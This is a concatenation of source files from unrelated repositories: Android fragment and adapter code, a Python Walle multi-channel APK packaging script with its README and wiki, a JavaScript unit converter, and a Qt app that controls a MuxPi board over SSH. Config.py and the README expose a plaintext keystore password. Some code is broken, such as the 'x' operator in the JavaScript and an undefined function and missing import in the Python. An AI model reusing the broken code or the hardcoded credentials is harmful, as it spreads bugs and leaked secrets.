TextView myDescTV = view.findViewById(R.id.rDescription_TVID);
ImageView myImageViewIV = view.findViewById(R.id.rImageView_IVID);
//get data from views
String myTitle = myTitleTV.getText().toString();
String myDesc = myDescTV.getText().toString();
Drawable myDrawable = myImageViewIV.getDrawable();
Bitmap myBitmap = ((BitmapDrawable) myDrawable).getBitmap();
//pass this data to new activity
Intent intent = new Intent(view.getContext(), HomeItemDetail.class);
ByteArrayOutputStream stream = new ByteArrayOutputStream();
myBitmap.compress(Bitmap.CompressFormat.PNG, 100, stream);
byte[] bytes = stream.toByteArray();
intent.putExtra("image", bytes); //put bitmap images as array of bytes
intent.putExtra("title", myTitle); //put title
intent.putExtra("chef", myDesc); //put description
startActivity(intent); //start the activity
}
@Override
public void onItemLongClick(View view, int position) {
//TODO do your own implementation on Long Item Click
}
});
return viewHolder;
}
//item detail code end
};
//set adapter to reyclerview
myRecyclerView.setAdapter(firebaseRecyclerAdapter);
}
/*
//a method for search
public boolean onCreateOptionsMenu(Menu menu)
{
//inflate the menu ;this adds items to the action bar if it present
getActivity().getMenuInflater().inflate(R.menu.menu , menu);
MenuItem item = menu.findItem(R.id.action_search);
SearchView searchView = (SearchView) MenuItemCompat.getActionView(item);
searchView.setOnQueryTextListener(new SearchView.OnQueryTextListener() {
@Override
public boolean onQueryTextSubmit(String query) {
firebaseSearch(query);
return false;
}
@Override
public boolean onQueryTextChange(String newText) {
firebaseSearch(newText);
return false;
}
});
return super.onCreateOptionsMenu(menu);
}
*/
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setHasOptionsMenu(true);
}
@Override
// public boolean onCreateOptionsMenu(Menu menu)
public void onCreateOptionsMenu(Menu menu, MenuInflater inflater) {
// getMenuInflater().inflate(R.menu.menu , menu)
getActivity().getMenuInflater().inflate(R.menu.menu, menu);
MenuItem item = menu.findItem(R.id.action_search);
SearchView searchView = (SearchView) MenuItemCompat.getActionView(item);
searchView.setOnQueryTextListener(new SearchView.OnQueryTextListener() {
@Override
public boolean onQueryTextSubmit(String query) {
firebaseSearch(query);
return false;
}
@Override
public boolean onQueryTextChange(String newText) {
firebaseSearch(newText);
return false;
}
});
// return super.onCreateOptionsMenu(menu);
super.onCreateOptionsMenu(menu, inflater);
}
@Override
public boolean onOptionsItemSelected(@NonNull MenuItem item) {
int id = item.getItemId();
//handle other action bar item click here
if (id == R.id.action_setting) {
//TODO
return true;
}
return super.onOptionsItemSelected(item);
}
//a method for search
}
<file_sep>package com.sehrishsheikh.massenger.People;
import android.app.Activity;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.BaseAdapter;
import android.widget.ImageView;
import android.widget.TextView;
import com.sehrishsheikh.massenger.R;
import java.util.ArrayList;
public class People_Adapter extends BaseAdapter
{
Activity activity;
ArrayList<People_Model> arrayList;
LayoutInflater inflater;
public People_Adapter(Activity activity, ArrayList<People_Model> arrayList) {
this.activity = activity;
this.arrayList = arrayList;
this.inflater=activity.getLayoutInflater();
}
@Override
public int getCount() {
return arrayList.size();
}
@Override
public People_Model getItem(int position) {
return arrayList.get(position);
}
@Override
public long getItemId(int position) {
return position;
}
@Override
public View getView(int position, View convertView, ViewGroup parent) {
View v=convertView;
if (v==null)
v=inflater.inflate(R.layout.massenger_people_pg , null);
//initialization
TextView title=v.findViewById(R.id.mxngr_ppl_name_tv1);
TextView day=v.findViewById(R.id.mxngr_text_day_tv3);
ImageView image=v.findViewById(R.id.mxngr_ppl_dp_img1);
final People_Model model=getItem(position); //get data
//set data
image.setImageResource(model.getImage());
title.setText(model.getTitle());
day.setText(model.getDay());
return v;
}
}
| 50c71195a7443bae78a44cfab1f39466b84eb2bb | [
"Markdown",
"Java"
] | 15 | Java | SehrishSheiikh/virtualcook | cf002fef3f2c3e134b1884155550d2e4a4e65987 | e03c8b8ca2f6f87f04afe6d86154cfc384d79a85 |
refs/heads/master | <repo_name>yangchong211/YCWalleHelper<file_sep>/venv/Include/Config.py
# -*-coding:utf-8-*-
# keystore信息,注意这里的信息需要自己填写
# Windows 下路径分割线请注意使用\\转义
# keystorePath = "your.keystore"
# keyAlias = "your keyAlias"
# keystorePassword = "<PASSWORD>"
# keyPassword = "<PASSWORD> key<PASSWORD>"
# keystore信息
# Windows 下路径分割线请注意使用\\转义
keystorePath = "/Users/yangchong/yc/GitHub/YCWalleHelper/venv/Include/apk"
keyAlias = "yc"
keystorePassword = "19<PASSWORD>"
keyPassword = "19930211"
# 加固后的源文件名(未重签名)
protectedSourceApkName = "app_release.apk"
# 加固后的源文件所在文件夹路径(...path),注意结尾不要带分隔符,默认在此文件夹根目录
protectedSourceApkDirPath = ""
# 渠道包输出路径,默认在此文件夹output目录下
channelsOutputFilePath = ""
# 渠道名配置文件路径,默认在此文件夹apk目录下
channelFilePath = ""
# 额外信息配置文件(绝对路径)
# 配置信息示例参看,默认是此文件夹apk目录下
extraChannelFilePath = ""
# Android SDK buidtools path , please use above 25.0+
# sdkBuildToolPath = "/Users/mac/Library/Android/sdk/build-tools/26.0.2"
sdkBuildToolPath = "/Users/yangchong/Library/Android/sdk/build-tools28.0.3"
<file_sep>/venv/Include/main.py
# -*-coding:utf-8-*-
import os
import sys
import Config
import platform
import shutil
# /**
# * <pre>
# * @author yangchong
# * blog : https://github.com/yangchong211
# * time : 2017/8/9
# * desc : 自动化python脚本多渠道加固打包工具
# * revise: 最新代码更新于2018年10月30日
# * </pre>
# */
# 这里是获取encoding,一般是utf-8
if sys.stdout.encoding != 'UTF-8':
print('sys.stdout.encoding != UTF-8')
sys.stdout = codecs.getwriter('utf-8')(sys.stdout.buffer, 'strict')
if sys.stderr.encoding != 'UTF-8':
print('sys.stderr.encoding != UTF-8')
sys.stderr = codecs.getwriter('utf-8')(sys.stderr.buffer, 'strict')
print('yc---sys.stdout.encoding-----' + sys.stdout.encoding)
print('yc---sys.stdout.encoding-----' + sys.stderr.encoding)
# 这里是调用Config配置里面的信息,包括keystore路径,密码等信息
# keystorePath = Config.keystorePath
# keyAlias = Config.keyAlias
# keystorePassword = Config.keystorePassword
# keyPassword = Config.keyPassword
# if os.access(keystorePath, os.F_OK):
# print('yc---keystorePath---文件已经存在--' + keystorePath)
# else:
# print('yc---keystorePath---文件已经不存在--请确认是否有keystore')
# exit(0)
# print('yc---keystorePath-----' + keystorePath)
# print('yc---keyAlias-----' + keyAlias)
# print('yc---keystorePassword-----' + keystorePassword)
# print('yc---keyPassword-----' + keyPassword)
# if len(keystorePath) <= 0:
# print("keystorePath地址不能为空")
# exit(0)
# if len(keyAlias) <= 0:
# print("keyAlias不能为空")
# exit(0)
# if len(keystorePassword) <= 0:
# print("keystorePassword不能为空")
# exit(0)
# if len(keyPassword) <= 0:
# print("keyPassword不能为空")
# exit(0)
# 获取脚本文件的当前路径
def curFileDir():
# 获取脚本路径
path = sys.path[0]
# 判断为脚本文件还是py2exe编译后的文件,
# 如果是脚本文件,则返回的是脚本的目录,
# 如果是编译后的文件,则返回的是编译后的文件路径
if os.path.isdir(path):
return path
elif os.path.isfile(path):
return os.path.dirname(path)
# 兼容不同系统的路径分隔符
def getBackslash():
# 判断当前系统
if 'windows' in platform.system().lower():
return "\\"
else:
return "/"
# 当前脚本文件所在目录
parentPath = curFileDir() + getBackslash()
print('yc---parentPath当前脚本文件所在目录-----' + parentPath)
# 这里是获取lib的路径,主要是获取lib目录下的文件路径,包含签名和瓦力路径
libPath = parentPath + "lib" + getBackslash()
print('yc---libPath-----' + libPath)
buildToolsPath = Config.sdkBuildToolPath + getBackslash()
print('yc---buildToolsPath-----' + buildToolsPath)
# 获取lib下签名jar的路径
checkAndroidV2SignaturePath = libPath + "CheckAndroidV2Signature.jar"
print('yc---获取lib下签名jar的路径-----' + checkAndroidV2SignaturePath)
# 获取lib下瓦力打包jar的路径
walleChannelPath = libPath + "walle-cli-all.jar"
print('yc---获取lib下瓦力打包jar的路径-----' + walleChannelPath)
# 这里是自定义输入路径
channelsOutputFilePath = parentPath + "output"
print('yc---channelsOutputFilePath-----' + channelsOutputFilePath)
# 这里是获取多渠道打包配置信息
channelFilePath = parentPath + "apk" + getBackslash() + "channel"
print('yc---channelFilePath-----' + channelFilePath)
# 这里是获取加固后源文件的路径
protectedSourceApkPath = parentPath + "apk" + getBackslash() + Config.protectedSourceApkName
print('yc---protectedSourceApkPath-----' + protectedSourceApkPath)
if os.access(protectedSourceApkPath, os.F_OK):
print('yc---protectedSourceApkPath---apk已经存在--' + protectedSourceApkPath)
else:
print('yc---protectedSourceApkPath---apk已经不存在--请确认根目录下的apk文件夹中是否有apk')
exit(0)
# 检查自定义路径,并作替换
if len(Config.protectedSourceApkDirPath) > 0:
protectedSourceApkPath = Config.protectedSourceApkDirPath + getBackslash() + Config.protectedSourceApkName
print('yc---protectedSourceApkPath-----' + protectedSourceApkPath)
if len(Config.channelsOutputFilePath) > 0:
channelsOutputFilePath = Config.channelsOutputFilePath
print('yc---channelsOutputFilePath-----' + channelsOutputFilePath)
if len(Config.channelFilePath) > 0:
channelFilePath = Config.channelFilePath
print('yc---channelFilePath-----' + channelFilePath)
def copyFile(srcFile, dstFile):
shutil.copyfile(srcFile, dstFile) # 复制文件
# 定义签名apk路径,如果文件不是_aligned.apk后缀名
if protectedSourceApkPath.find("_aligned.apk"):
print('yc---protectedSourceApkPath-----' + protectedSourceApkPath)
zipalignedApkPath = protectedSourceApkPath
signedApkPath = zipalignedApkPath[0: -4] + "_signed.apk"
copyFile(zipalignedApkPath, signedApkPath)
else:
zipalignedApkPath = protectedSourceApkPath[0: -4] + "_aligned.apk"
print('yc---zipalignedApkPath-----' + zipalignedApkPath)
copyFile(protectedSourceApkPath, zipalignedApkPath)
signedApkPath = zipalignedApkPath[0: -4] + "_signed.apk"
print('yc---signedApkPath-----' + signedApkPath)
copyFile(zipalignedApkPath, signedApkPath)
# 清空临时资源
def cleanTempResource():
try:
# os.remove(zipalignedApkPath)
os.remove(signedApkPath)
pass
except Exception as e:
# 如果异常则打印日志
print(e)
pass
# 清空渠道信息
def cleanChannelsFiles():
try:
os.makedirs(channelsOutputFilePath)
pass
except Exception as e:
# 如果异常则打印日志
print(e)
pass
# 创建Channels输出文件夹
def createChannelsDir():
try:
os.makedirs(channelsOutputFilePath)
pass
except Exception as e:
print(e)
pass
# 清除所有output文件夹下的文件
def delFile(path):
ls = os.listdir(path)
for i in ls:
c_path = os.path.join(path, i)
if os.path.isdir(c_path):
del_file(c_path)
else:
os.remove(c_path)
# 先清除之前output文件夹中所有的文件
if len(Config.channelsOutputFilePath) > 0:
delFile(channelsOutputFilePath)
# 创建Channels输出文件夹
createChannelsDir()
# 清空Channels输出文件夹
cleanChannelsFiles()
# 对齐
zipalignShell = buildToolsPath + "zipalign -v 4 " + protectedSourceApkPath + " " + zipalignedApkPath
print('yc---zipalignShell-----' + zipalignShell)
os.system(zipalignShell)
# 签名
# signShell = buildToolsPath + "apksigner sign --ks " + keystorePath + " --ks-key-alias " \
# + keyAlias + " --ks-pass pass:" + keystorePassword + " --key-pass pass:" \
# + keyPassword + " --out " + signedApkPath + " " + zipalignedApkPath
# print('yc---signShell-----' + signShell)
# os.system(signShell)
# 检查V2签名是否正确
checkV2Shell = "java -jar " + checkAndroidV2SignaturePath + " " + signedApkPath
# print('yc---checkV2Shell-----' + signShell)
os.system(checkV2Shell)
# 写入渠道
if len(Config.extraChannelFilePath) > 0:
writeChannelShell = "java -jar " + walleChannelPath + " batch2 -f " \
+ Config.extraChannelFilePath + " " + signedApkPath + " " + channelsOutputFilePath
else:
writeChannelShell = "java -jar " + walleChannelPath + " batch -f " + channelFilePath + " " \
+ signedApkPath + " " + channelsOutputFilePath
print('yc---writeChannelShell-----' + writeChannelShell)
os.system(writeChannelShell)
# 清空临时资源
cleanTempResource()
print("\n**** =============================执行完成=================================== ****\n")
print("\n↓↓↓↓↓↓↓↓ Please check output in the path ↓↓↓↓↓↓↓↓\n")
print("\n" + channelsOutputFilePath + "\n")
print("\n↓↓↓↓↓↓↓↓ 哥们,使用方便的话转发起来吧!杨充就此谢过! ↓↓↓↓↓↓↓↓\n")
print("\n**** =============================执行完成=================================== ****\n")
<file_sep>/README.md
# 自动化瓦力多渠道打包python脚本
#### 目录介绍
- 1.本库优势亮点
- 2.使用介绍
- 3.注意要点
- 4.效果展示
- 5.大概步骤
- 6.其他介绍
### 0.首先看看我录制的案例演示
- 如下所示,这段python代码很简单,工具十分强大,一键多渠道打包工具。
- 
### 1.本库优势亮点
- 通过该自动化脚本,自需要run一下或者命令行运行脚本即可实现美团瓦力多渠道打包,打包速度很快
- 配置信息十分简单,代码中已经注释十分详细。Keystore信息一定要配置,至于渠道apk输出路径,文件配置路径等均有默认路径,没有配置也没关系
- 针对输出路径是根目录下的output文件夹,文件不存在则创建,文件存在则是先删除之前多渠道打包生成的【也就是删除output文件夹下所有文件】,然后在重新生成
- 多渠道的定义是在channel这个文件中,建议是txt文件格式,你可以根据项目情况修改,十分快捷
- 如果瓦力打包工具更新了,直接替换一下lib中的jar即可。可以在python3.x上跑起来!
- 我也参考了大量的博客,网上博客很多,我始终觉得对于这种实操性很强的案例,还是博客和项目一起学习才效果更好。感谢无数的前辈大神!
### 2.使用介绍
- 第一步:准备基础的文件
- 准备apk文件
- 对于未签名:将你未加固的apk文件,keystore,已经需要多渠道配置信息的channel放到指定的apk文件中
- 对于已加固:将你加固好的apk文件,已经需要多渠道配置信息的channel放到指定的apk文件中
- 初步建议,如果你想自定义存放文件的路径,可以先熟悉一下python的代码再做修改,也没有什么难度
- 第二步:配置Config.py文件中的属性
- 配置keystore信息,这个地方引用你的keystore信息,对于已经加固可以直接过
```
# keystore信息,这个是针对未加固的,如果已经加固则不需要配置
# Windows 下路径分割线请注意使用\\转义
keystorePath = "D:\\GitHub\\YCWalleHelper\\venv\\Include\\apk\\ycPlayer.jks"
keyAlias = "yc"
keystorePassword = "19<PASSWORD>"
keyPassword = "19930211"
```
- 配置其他信息,比如apk的名称,渠道包配置路径,输出路径等等
```
# 加固后的源文件名(未重签名)
# 必须要配置
protectedSourceApkName = "app_release.apk"
# 下面这些可以不用配置,代码中会有默认的值
# 加固后的源文件所在文件夹路径(...path),注意结尾不要带分隔符,默认在此文件夹根目录
protectedSourceApkDirPath = ""
# 渠道包输出路径,默认在此文件夹output目录下
channelsOutputFilePath = ""
# 渠道名配置文件路径,默认在此文件夹apk目录下
channelFilePath = ""
# 额外信息配置文件(绝对路径)
# 配置信息示例参看,默认是此文件夹apk目录下
extraChannelFilePath = ""
# Android SDK buidtools path , please use above 25.0+
# 必须配置,需要用到zipalign
sdkBuildToolPath = "D:\\Program File\\AndroidSdk\\build-tools\\28.0.3"
```
- 第三步:直接运行
- 第一种方式是通过PyCharm工具运行,这个直接run就可以呢。程序员建议使用这种!
- 第二种方式是通过命令行运行,就可以实现自动化打包
```
//已经加固:运行这个使用到校验签名,以及瓦力多渠道输出
python mian.py
//未签名:运行这个使用到命令行签名,校验签名,以及瓦力多渠道输出
python MainWalle.py
```
- 第四步:修改多渠道配置信息
- 直接找到channel文件,进行修改即可,注意格式!
```
360 #360
91anzhuo # 91安卓
anzhuo # 安卓
baidu # 百度
wandoujia # 豌豆荚
xiaoyangdoubi #小杨逗比
yingyongbao # 应用宝
```
### 3.注意要点
#### 3.1 注意在apk目录中一定要放入channel,keystore,还有加固的apk文件
- channel是指指定多渠道信息
- keystore是指你要签名的apk的钥匙
- apk是指你需要进行多渠道打包的加固文件。注意apk文件名称要和Config配置的apk名称要一致。

#### 3.2 配置keystore信息需要注意的问题
- 主要是注意路径是全路径
```
# keystore信息
# Windows 下路径分割线请注意使用\\转义
keystorePath = "D:\\GitHub\\YCWalleHelper\\venv\\Include\\apk\\ycPlayer.jks"
keyAlias = "yc"
keystorePassword = "<PASSWORD>"
keyPassword = "<PASSWORD>"
```
#### 3.3 注意apk下存放的apk文件名称和Config.py中配置的apk名称要相同
- 看下面这个截图
- 
#### 3.4 关于部分疑问问题
- 关于Config.py中的sdkBuildToolPath,建议和你使用studio的版本保持一致,需要用到zipalign。别忽略这种小的问题!
- 注意如果要配置定义路径等属性,由于编码格式为UTF-8,所以不要带异常字符
- 多渠道打包时,如果要修改多渠道信息,直接修改channel,这个文件就不要修改成其他的名称呢!
### 4.效果展示
- 如图所示,建议你亲自尝试一下,特别好玩!
- 
### 5.大概步骤
- python脚步指令步骤:
- 5.1 首先获取配置信息,配置信息里主要包括apk加固包,channel渠道,keyStroke文件
- 5.2 获取v2检验签名,美团瓦力walle路径
- 5.3 检查v2签名是否正确
- 5.4 利用美团walle写入多渠道,参考美团瓦力命令行文档
- APK的生成步骤:
- 1、打包资源文件,生成 R.java 文件
- 2、处理 aidl 文件,生成相应 java 文件
- 3、编译工程源代码,生成相应 class 文件
- 4、转换所有 class 文件,生成 classes.dex 文件
- 5、打包生成 apk
- 6、对 apk 文件进行签名
- 7、对签名的 apk 进行 zipalign 对其操作
- 关于命令行参考
- [APK命令行实现V1、V2签名及验证](https://www.jianshu.com/p/e00f9bb12340)
- [美团瓦力walle-cli](https://github.com/Meituan-Dianping/walle/blob/master/walle-cli/README.md)
- [walle-cli](https://github.com/itgowo/walle-cli)
- [瓦力多渠道打包原理](https://tech.meituan.com/2017/01/13/android-apk-v2-signature-scheme.html)
### 6.其他介绍
#### 关于其他内容介绍

#### 其他推荐
- 博客笔记大汇总【15年10月到至今】,包括Java基础及深入知识点,Android技术博客,Python学习笔记等等,还包括平时开发中遇到的bug汇总,当然也在工作之余收集了大量的面试题,长期更新维护并且修正,持续完善……开源的文件是markdown格式的!同时也开源了生活博客,从12年起,积累共计47篇[近20万字],转载请注明出处,谢谢!
- 链接地址:https://github.com/yangchong211/YCBlogs
- 如果觉得好,可以star一下,谢谢!当然也欢迎提出建议,万事起于忽微,量变引起质变!
#### 参考博客
- https://github.com/Meituan-Dianping/walle
- https://blog.csdn.net/ruancoder/article/details/51893879
- https://www.cnblogs.com/morang/p/python-build-android-apk.html
- https://www.jianshu.com/p/b5b4f7fc5264
- https://www.jianshu.com/p/20a62d1eba3f
- https://github.com/Jay-Goo/ProtectedApkResignerForWalle
- https://blog.csdn.net/u013692888/article/details/77933548
- https://blog.csdn.net/WHB20081815/article/details/89766471
#### 关于LICENSE
```
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
```
<file_sep>/wiki.md
#### 目录介绍
- 1.签名简单说明
- 2.实现多渠道打包的原理
- 3.美团多渠道打包
### 1.签名简单说明
- v1签名是对jar进行签名,V2签名是对整个apk签名
- 官方介绍就是:v2签名是在整个APK文件的二进制内容上计算和验证的,v1是在归档文件中解压缩文件内容。
- 二者签名所产生的结果:
- v1:在v1中只对未压缩的文件内容进行了验证,所以在APK签名之后可以进行很多修改——文件可以移动,甚至可以重新压缩。即可以对签名后的文件在进行处理
- v2:v2签名验证了归档中的所有字节,而不是单独的ZIP条目,如果您在构建过程中有任何定制任务,包括篡改或处理APK文件,请确保禁用它们,否则您可能会使v2签名失效,从而使您的APKs与Android 7.0和以上版本不兼容。
### 2.实现多渠道打包的原理
- 核心原理就是通过脚本修改androidManifest.xml中的mate-date内容,执行N次打包签名操作实现多渠道打包的需求。
- 一般来讲,这个渠道的标识会放在AndroidManifest.xml的Application的一个Metadata中。然后就可以在java中通过API获取对应的数据了。
- 原理:清单文件添加渠道标签读取对应值。打包后修改渠道值的两种方法
- 第一种方法:通过ApkTool进行解包,然后修改AndroidManifest中修改渠道标示,最后再通过ApkTool进行打包、签名。
- 第二种方法:使用AXML解析器axmleditor.jar,拥有很弱的编辑功能,工程中用来编辑二进制格式的 AndroidManifest.xml 文件.
### 3.美团多渠道打包
- 基于v2
- Walle(瓦力):Android Signature V2 Scheme签名下的新一代渠道包打包神器
- 整个APK(ZIP文件格式)会被分为以下四个区块:
- Contents of ZIP entries(from offset 0 until the start of APK Signing Block)
- APK Signing Block
- ZIP Central Directory
- ZIP End of Central Directory
- 原理:
- 原理很简单,就是将渠道信息存放在APK文件的注释字段中。美团的打包方式非常快速,打渠道包几乎就只是进行一次copy apk文件。
- 瓦力通过在Apk中的APK Signature Block区块添加自定义的渠道信息来生成渠道包,从而提高了渠道包生成效率
| 778142f8fd696d0ef13730832b2b612dc915dff5 | [
"Markdown",
"Python"
] | 4 | Python | yangchong211/YCWalleHelper | 9c471f1f430452fd57e9d905bbeef11d8e83ccf2 | 63ef445c5805f54707a82b7c11666efd47ad3ce3 |
refs/heads/master | <file_sep>function fToM(){
var measure
var meters
var measure = parseInt(document.getElementById("value1").value);
var meters = measure x 0.3048;
var message = measure + ' feet converts to ' + meters + ' meters.';
console.log
document.getElementbyId("resultsentence").innerHTML = message;
}
/*
function inchesToCent(){
var inches
var measure = parseInt(document.getElementById("value1").value);
var meters = measure x 2.54;
var message2 = measure + ' inches converts to ' + centimetres + ' meters.';
document.getElementbyId("resultsentence").innerHTML = message;
}
function yardsToMetres(){
var yards
var measure = parseInt(document.getElementById("value1").value);
var meters = measure x 0.9144;
var message3 = measure + ' yards converts to ' + meters + ' meters.';
document.getElementbyId("resultsentence").innerHTML = message;
}
function milesToKilometers(){
var kilometers
var measure = parseInt(document.getElementById("value1").value);
var meters = measure x 1.60934;
var message4 = measure + ' miles converts to ' + kilometers + ' meters.';
document.getElementbyId("resultsentence").innerHTML = message;
}
<file_sep># metric-conversion
metric-conversion
| 69b6ae458c0a4fdbc56911b2c0dc7d8c5e1fbf6a | [
"JavaScript",
"Markdown"
] | 2 | JavaScript | g00351238gmit/metric-conversion | d398166951d96744493aedb0df360caabc85a0e3 | 9a83e5bde3d0abe5243461eac57953df877ae683 |
refs/heads/master | <file_sep>#ifndef INPUTFILTER_H
#define INPUTFILTER_H
#include <QObject>
#include <QKeyEvent>
#include <QMouseEvent>
#include <VLCQtCore/MediaPlayer.h>
#include <VLCQtCore/Video.h>
#include "sshconnection.h"
class InputFilter : public QObject
{
Q_OBJECT
public:
explicit InputFilter(QObject *parent = 0);
explicit InputFilter(QSharedPointer<QSsh::SshRemoteProcess> hidShell, VlcMediaPlayer *player, QObject *parent = 0);
signals:
public slots:
protected:
bool eventFilter(QObject *obj, QEvent *event);
private:
bool handleKeyPress(QObject *obj, QKeyEvent *kevent);
bool handleKeyRelease(QObject *obj, QKeyEvent *kevent);
bool handleMouse(QObject *obj, QMouseEvent *mevent);
void updateKbdReport();
void updateTouchReport(uint16_t x, uint16_t y, bool touch);
QSharedPointer<QSsh::SshRemoteProcess> m_hidShell;
VlcMediaPlayer *m_player;
unsigned char m_modifiers;
QSet<unsigned char> m_keys;
bool m_touch;
qint64 m_lastMove;
};
#endif // INPUTFILTER_H
<file_sep>#include "rmon.h"
#include "ui_rmon.h"
#include <QInputDialog>
#include <QStringList>
#include <QErrorMessage>
#include <QMessageBox>
#include <VLCQtCore/Common.h>
#include <VLCQtCore/Instance.h>
#include <VLCQtCore/Media.h>
#include <VLCQtCore/MediaPlayer.h>
#include "inputfilter.h"
#include "connectiondialog.h"
#include "sshremoteprocess.h"
RMon::RMon(QWidget *parent) :
QMainWindow(parent),
ui(new Ui::RMon),
m_media(0),
m_connection(NULL)
{
ui->setupUi(this);
m_instance = new VlcInstance(VlcCommon::args(), this);
m_player = new VlcMediaPlayer(m_instance);
m_player->setVideoWidget(ui->video);
ui->video->setMediaPlayer(m_player);
connect(ui->actionConnect, &QAction::triggered, this, &RMon::connectToMuxpi);
}
RMon::~RMon()
{
delete m_player;
delete m_media;
delete m_instance;
delete ui;
}
void RMon::connectToMuxpi()
{
ConnectionDialog conDial;
conDial.setModal(true);
conDial.exec();
if (conDial.result() != QDialog::Accepted)
return;
if (m_connection) {
delete m_connection;
}
m_connection = new QSsh::SshConnection(conDial.getConnectionParams(), this);
connect(m_connection, SIGNAL(connected()), SLOT(onMuxPiConnected()));
connect(m_connection, SIGNAL(error(QSsh::SshError)), SLOT(onMuxPiConnectionError(QSsh::SshError)));
m_connection->connectToHost();
}
void RMon::onMuxPiConnected()
{
QMessageBox errorMessageDialog;
errorMessageDialog.setText(QString("Connection to MuxPi succeded"));
errorMessageDialog.exec();
m_socatShell = m_connection->createRemoteShell();
connect(m_socatShell.data(), SIGNAL(started()), SLOT(socatShellStarted()));
connect(m_socatShell.data(), SIGNAL(readyReadStandardOutput()), SLOT(socatShellStdOutReady()));
m_socatShell->start();
m_hidShell = m_connection->createRemoteShell();
connect(m_hidShell.data(), SIGNAL(started()), SLOT(hidShellStarted()));
connect(m_hidShell.data(), SIGNAL(readyReadStandardOutput()), SLOT(hidShellStdOutReady()));
m_hidShell->start();
}
void RMon::onMuxPiConnectionError(QSsh::SshError error)
{
QMessageBox errorMessageDialog;
errorMessageDialog.setText(QString("Unable to connect to MuxPi: ") + QString::number(error));
errorMessageDialog.exec();
}
void RMon::socatShellStarted()
{
// m_socatShell->write("ifconfig eth1 192.168.1.1 up\n");
// No idea what for but this has to be executed to make dypers workig
m_socatShell->write("stm -dut\n");
m_socatShell->write("stm -ts\n");
// Reset of our video grabber
m_socatShell->write("stm -dyper1 off\n");
m_socatShell->write("stm -dyper1 on\n");
// TODO add this to menu for a user interaction
m_socatShell->write("stm -dut\n");
//TODO add execution of this on a current host:
//iptables -t raw -A PREROUTING -p udp -m length --length 28 -j DROP
//Using socat
// m_socatShell->write("socat UDP-RECV:5004,ip-add-membership=172.16.31.10:192.168.1.1 UDP-SENDTO:192.168.0.1:5004 &\n");
// Using smcroute and iptables
m_socatShell->write("killall smcroute\n");
m_socatShell->write("smcroute -d\n");
m_socatShell->write("smcroute -a eth1 192.168.1.238 172.16.31.10 eth0\n");
m_socatShell->write("iptables -t nat -A POSTROUTING -p udp -d 172.16.31.10 -j SNAT --to-source 192.168.0.13\n");
m_socatShell->write("conntrack -F\n");
//m_media = new VlcMedia("udp://@:5004", m_instance);
m_media = new VlcMedia("udp://@172.16.31.10:5004", m_instance);
m_media->setOption("network-caching=200");
m_media->setOption(":clock-jitter=0");
//m_media->setOption(":clock-synchro=0");
m_player->open(m_media);
}
void RMon::hidShellStarted()
{
m_hidShell->write("./usb_hid/setup.sh\n");
ui->video->installEventFilter(new InputFilter(m_hidShell, m_player));
ui->video->setAspectRatio(Vlc::R_16_9);
}
void RMon::socatShellStdOutReady()
{
qDebug()<< m_socatShell->readAllStandardOutput();
}
void RMon::hidShellStdOutReady()
{
qDebug()<< m_hidShell->readAllStandardOutput();
}
<file_sep>#include "connectiondialog.h"
#include "ui_connectiondialog.h"
ConnectionDialog::ConnectionDialog(QWidget *parent) :
QDialog(parent),
ui(new Ui::ConnectionDialog), m_ok(false)
{
ui->setupUi(this);
}
ConnectionDialog::~ConnectionDialog()
{
delete ui;
}
QSsh::SshConnectionParameters ConnectionDialog::getConnectionParams()
{
QSsh::SshConnectionParameters params;
params.setHost(ui->hostInput->text());
params.setPort(ui->portInput->text().toUShort());
params.setUserName(ui->userInput->text());
params.setPassword(ui->passInput->text());
params.authenticationType = QSsh::SshConnectionParameters::AuthenticationTypePassword;
params.timeout = 300;
return params;
}
<file_sep>#include "rmon.h"
#include <QApplication>
#include <QtCore/QCoreApplication>
#include <QtWidgets/QApplication>
#include <VLCQtCore/Common.h>
int main(int argc, char *argv[])
{
QCoreApplication::setApplicationName("RemoteMonitor");
QCoreApplication::setAttribute(Qt::AA_X11InitThreads);
QApplication app(argc, argv);
VlcCommon::setPluginPath(app.applicationDirPath() + "/plugins");
app.setOverrideCursor(QCursor(Qt::ArrowCursor));
RMon w;
w.show();
return app.exec();
}
<file_sep>#ifndef RMON_H
#define RMON_H
#include <QMainWindow>
#include "sshconnection.h"
namespace Ui {
class RMon;
}
class VlcInstance;
class VlcMedia;
class VlcMediaPlayer;
class RMon : public QMainWindow
{
Q_OBJECT
public:
explicit RMon(QWidget *parent = 0);
~RMon();
private slots:
void connectToMuxpi();
void onMuxPiConnected();
void onMuxPiConnectionError(QSsh::SshError error);
void socatShellStarted();
void hidShellStarted();
void socatShellStdOutReady();
void hidShellStdOutReady();
private:
Ui::RMon *ui;
VlcInstance *m_instance;
VlcMedia *m_media;
VlcMediaPlayer *m_player;
QSsh::SshConnection *m_connection;
QSharedPointer<QSsh::SshRemoteProcess> m_socatShell;
QSharedPointer<QSsh::SshRemoteProcess> m_hidShell;
};
#endif // RMON_H
<file_sep>#ifndef KBDKEY_H
#define KBDKEY_H
#include <QKeyEvent>
class KbdKey
{
public:
KbdKey();
KbdKey(int key, bool isModifier=false);
KbdKey(QKeyEvent *kevent);
bool isValid()
{
return m_key >= 0;
}
unsigned char getKeyCode()
{
return m_key;
}
bool isModifier()
{
return m_isModifier;
}
private:
int m_key;
bool m_isModifier;
};
#endif // KBDKEY_H
<file_sep>#include "kbdkey.h"
#include <QVector>
#include <QMap>
#include <QChar>
#include <QString>
#include <iostream>
KbdKey::KbdKey()
: m_key(-1), m_isModifier(false)
{
}
KbdKey::KbdKey(int key, bool isModifier)
: m_key(key), m_isModifier(isModifier)
{
}
#define NSC_L_CTRL 37
#define NSC_L_SHIFT 50
#define NSC_L_ALT 64
#define NSC_L_GUI 133
#define NSC_R_CTRL 105
#define NSC_R_SHIFT 62
#define NSC_R_ALT 108
#define NSC_R_GUI 135
KbdKey::KbdKey(QKeyEvent *kevent)
: m_key(-1), m_isModifier(false)
{
static QString specDigitMarks = "!@#$%^&*()";
static QVector<int> modifiersNSC{
NSC_L_CTRL,
NSC_L_SHIFT,
NSC_L_ALT,
NSC_L_GUI,
NSC_R_CTRL,
